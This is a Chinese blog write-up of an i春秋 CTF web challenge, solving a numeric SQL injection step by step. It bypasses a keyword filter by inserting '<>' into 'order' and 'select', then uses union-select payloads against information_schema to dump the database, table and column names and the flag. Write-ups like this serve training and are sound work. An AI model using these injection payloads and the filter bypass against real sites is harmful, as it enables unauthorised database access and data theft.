

i春秋CTF训练 Web SQL

原创

椰奶冻不安全  于 2020-06-27 23:48:12 发布  286  收藏

分类专栏: [CTF](#) 文章标签: [mysql sql](#)

来自 椰奶冻不安全 的博客, 复制完可要记得我吖

本文链接: https://blog.csdn.net/qq_40654505/article/details/106990334

版权



[CTF 专栏收录该内容](#)

14 篇文章 0 订阅

订阅专栏

Web SQL

题目内容: 出题人就告诉你这是个注入, 有种别走!

[链接需到ichunqiu网站申请](#)

```
xxx.changame.ichunqiu.com/index.php?id=1
```

```
flag{在数据库中}
```

```
xxx.changame.ichunqiu.com/index.php?id=1=1
```

```
xxx.changame.ichunqiu.com/index.php?id=1=2
```

1=1时正常访问, 1=2时页面为空白, 为数字型注入

```
xxx.changame.ichunqiu.com/index.php?id=1 order by 1
```

```
inj code!
```

可能是关键字过滤, 经尝试, 利用服务器对XSS的防护, 删除 `<>` 的特性注入

```
xxx.changame.ichunqiu.com/index.php?id=1 ord<>er by 1
```

如果用 `or<>der` 会构造 `or`, 这个字符串也被过滤了

3正常访问, 4访问失败, 则长度为3

```
xxx.changame.ichunqiu.com/index.php?id=1 ord<>er by 3
```

```
xxx.changame.ichunqiu.com/index.php?id=1 ord<>er by 4
```

找到回显位置

```
xxx.changame.ichunqiu.com/index.php?id=1 union se<>lect 1,2,3
```

```
flag{在数据库中}
2
```

显示当前数据库名

```
xxx.changame.ichunqiu.com/id=1 union se<>lect 1,database(),3
```

```
flag{在数据库中}
sqli
```

显示所有表名

```
xxx.changame.ichunqiu.com/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables
```

显示当前调用的表

```
xxx.changame.ichunqiu.com/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables where table_schema=database()
```

或者也可以

```
xxx.changame.ichunqiu.com/id=1 union se<>lect 1,table_name,3 from information_schema.tables where table_schema='sqli'
```

```
flag{在数据库中}
info
users
```

显示info表中的列名

```
xxx.changame.ichunqiu.com/id=1 union se<>lect 1,column_name,3 from information_schema.columns where table_name='info'
```

```
flag{在数据库中}
id
title
flAg_T5ZNdrm
```

得到key

xxx.changame.ichunqiu.com/id=1 union se<>lect 1,flAg_T5ZNdrm,3 from info

flag(在数据库中)

flag(d[REDACTED])

test